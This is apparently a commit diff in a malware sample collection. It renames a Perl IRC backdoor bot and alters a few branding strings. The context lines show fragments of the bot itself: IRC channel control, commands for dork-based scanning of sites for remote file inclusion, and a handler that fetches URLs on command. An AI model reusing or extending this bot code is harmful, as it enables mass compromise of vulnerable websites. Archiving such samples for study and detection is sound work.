Rename Backdoor.Perl.IRCBot.n to Backdoor.Perl.IRCBot.Scanner.m

Perl/Backdoor.Perl.IRCBot.n → Perl/Backdoor.Perl.IRCBot.Scanner.m

@@ -40,13 +40,13 @@ print $dsp "USER infira 8 *  : infira \r\n";
 print $dsp "JOIN $channel\r\n";
 print $dsp "PRIVMSG $channel :9,1Priv8 Scaner Pornit!! \r\n";
 print $dsp "PRIVMSG $channel :8,1Comanda Scan:9,1 !scan bug dork 0,1& 4,1!google bug dork \r\n";
-print $dsp "PRIVMSG $channel :9,1Priv8 RFIScanner powered By SeaNet \r\n";
+print $dsp "PRIVMSG $channel :9,1Priv8 RFIScanner powered By SeaNet® \r\n";
 sleep(1);
 print $dsp "NICK $nickname\r\n";
 print $dsp "USER SeaNet *  : SeaNet \r\n";
 print $dsp "JOIN $chanres\r\n";
 print $dsp "PRIVMSG $chanres :9,1Aici vin rezultatele :) \r\n";
-print $dsp "PRIVMSG $chanres :9,1Priv8 RFIScanner powered By SeaNet \r\n";
+print $dsp "PRIVMSG $chanres :9,1Priv8 RFIScanner powered By SeaNet® \r\n";
 
 while ( $line = <$dsp> ) {
 
@@ -123,7 +123,7 @@ while ( $line = <$dsp> ) {
           }
 
     if ( $line =~ /PRIVMSG $channel :!id/ )
-    {    ##  Script made by kangkung . Don't remove this comment !
+    {    ## ©© Script made by kangkung . Don't remove this comment !
         my $testid = $id;
         my $req    = HTTP::Request->new( GET => $testid );
         my $ua     = LWP::UserAgent->new();